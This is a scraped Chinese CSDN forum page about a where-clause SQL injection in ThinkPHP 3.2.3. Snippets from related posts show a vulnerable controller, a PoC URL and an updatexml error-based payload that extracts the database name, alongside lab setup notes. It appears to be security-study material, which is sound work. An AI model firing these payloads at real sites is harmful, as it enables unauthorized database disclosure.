ThinkPHP3.2.3 where注入

网络领域优质创作者

2021-12-05 13:59:11

https://blog.csdn.net/weixin_44309905/article/details/121722766?spm=1001.2014.3001.5501

...全文

386 1 打赏收藏转发到动态举报

写回复

1 条回复

切换为时间正序

请发表友善的回复…

发表回复

CSDN-Ada助手 2023-01-13

打赏
举报

回复

您可以前往 CSDN问答-其他发布问题, 以便更快地解决您的疑问

漏洞环境 ThinkPHP3.2.3 漏洞代码<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $data = M('users')->find(I('GET.id')); var_dump($data); } } POC/?id[where]=1

前言攻敌所必救： ThinkPHP中的常用方法汇总总结:M方法，D方法，U方法，I方法 Thinkphp3.2.3 安全开发须知搭建：首先第一步就是必须先放在www目录下(我是windows用的phpstudy)！！！！创建数据库，表名一定与你接下来要M的名字的相对应连接数据库的文件不多说了，自己配置：ThinkPHP/Conf/convention.php 配置控制器：\WWW\thinkphp3.2.3\Application\Home\Controller\Ind

下载：ThinkPHP3.2.3完整版 - ThinkPHP框架配置 ThinkPHP/Conf/convention.php配置下数据库，我这里直接用的sqllabs的数据库写个查询入口Application/Home/Controller/IndexController.class.php <?php namespace Home\Controller; use Think\Controller; class IndexController ex

find(),select(),delete()注入方法类似主要是在解析完$options之后，还对$options['where']判断了一下是否为空在 D:\phpstudy_pro\WWW\thinkphp3\Application\Home\Controller下的IndexController.class.php添加代码一样的思路，首先用id=1 and走一遍流程一直走，注意到这个地方，我们条件满足进入parseType函数注意，这时候我们的data还是1 and 经过强制转换后我

public function test01(){$data = M('user')->find(I('GET.id'));var_dump($data);}payload：http://tp32.com/index.php/home/index/test01?id[where]=1 and 1=updatexml(1,concat(0x7e,database(),0x7e),1)漏洞分析：...

网站开发＆网络安全

1,708

社区成员

804

社区内容

发帖

与我相关

我的任务

社区管理员

加入社区

近7日
近30日
至今

加载中

查看更多榜单

社区公告

本社区主要讨论kali有关内容与IP/TCP协议,网站开发有关内容，欢迎加入😀

试试用AI创作助手写篇文章吧

+ 用AI写文章